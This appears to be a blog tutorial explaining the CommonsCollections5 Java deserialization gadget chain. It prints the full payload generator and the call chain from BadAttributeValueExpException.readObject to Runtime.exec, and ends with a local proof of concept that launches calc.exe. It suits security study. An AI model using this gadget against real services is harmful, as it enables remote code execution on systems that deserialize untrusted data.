CommonsCollection5
THe CommonsCollection5 payload is more or less similar to the CommonsCollection1 payload.
Just like we used a chain of transformers there we will be Using the same Chain of TransFormers here.
However the Etnry point is different here.
Here we will be using a class called BadAttributeValueExpException class to reach our Goal
So lets jump in and see how the payload looks like
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
As we previously know about the ClassCastException and readObject, the same thing happens here as well.
Lets Check the source of BadAttributeValueExpException
The BadAttributeValueExpException has the following code block on its class
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
A custom ReadObject implementation.
Which means even if there will be a class cast exception, the code present on the readObject will still be executed.
Looking into the code, the point of interest is the valObj.toString()
IF you pay close attention this valObj is getting set from the gf.get("val")
This particular class also have val variable which gets set via the constrcutors, that in our payload we are sending as null.
SO if we can controll this variable we can make the decission , which toString() to get executed.
In our payload we are setting the val field to the entry via Refelction and the entry is basically a TiedMapEntry Object.
We will not discuss how exactly the TiedMapEntry works, but what happens this class imnplements the map interface and have a fucntion called toString()
So if we pass the entry(Object of TiedMapEntry) to the BadAttributeValueExpException() then then the toString() of TiedMapEntry can be called
Diving deep into the toString() we see that the function calls getValue() which indeed calls map.get()
Going back to the payload the Map we are using is the LaZyMap
And the way we are using LazyMap is by using the decorate function which takes a HashMap and Transformer
Lets Review the LaZyMap.get()
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
So when the TiedMapEntry calls the map.get() the above get gets called.
On the above function , if the key is absent then the transformer.transform gets called where the transfromer is been taken from user and gets intitlised into the LaZyMap
factory variable via constructors.
THe TransFormer.transform executes the code , which we have discussed in the previous on how.
So taking all the above, the payload uses the BadAttributeValueExpException() to reach till the transformer like below.
ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
Below is the slight modification of the above code where we have used java8u202 to execute the payload in locainstnace and instead of using refelction to set the val
Variable we are directly passing the val varibale to the BadAttributeValueExpException() construtor.
The reason we can not use the same for gadget chain construction is:
if we pass entry directly to BadAttributeValueExpException then the constuctor there will call the toString() immediately resulting in immeidate code execution and we will not be able craft a serilised payload.
This is the reasson why reflection is used to set this variable in the later Stage.
This is also a reason why on most of the ysoserial payloads we are using reflection to make the changes in the later satage so that we can craft the serilised payload and doesn't execute code immediately in our local instance.
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String args[])
{
ConstantTransformer tr1=new ConstantTransformer(Runtime.class);
InvokerTransformer tr2=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer tr3=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer tr4=new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"});
Transformer tr5=new ChainedTransformer(new Transformer[]{tr1,tr2,tr3,tr4});
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, tr5);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(entry);
}
}
Summary:
- The gadget uses
BadAttributeValueExpException
as the entry point during deserialization. - We set the internal
val
field to a craftedTiedMapEntry
via reflection. BadAttributeValueExpException.readObject()
invokesval.toString()
, triggeringTiedMapEntry.toString()
.TiedMapEntry.toString()
callsgetValue()
, which leads toLazyMap.get()
.- If the key is missing,
LazyMap
callstransform()
using a user-controlledTransformer
chain. - This chain executes arbitrary code via
Runtime.getRuntime().exec()
. - Reflection is used to set the
val
field after object creation to avoid premature execution — this is critical for payload generation.
Thats it for Today.
Thanks For Reading.
Happy Hacking.
You can connect with me at: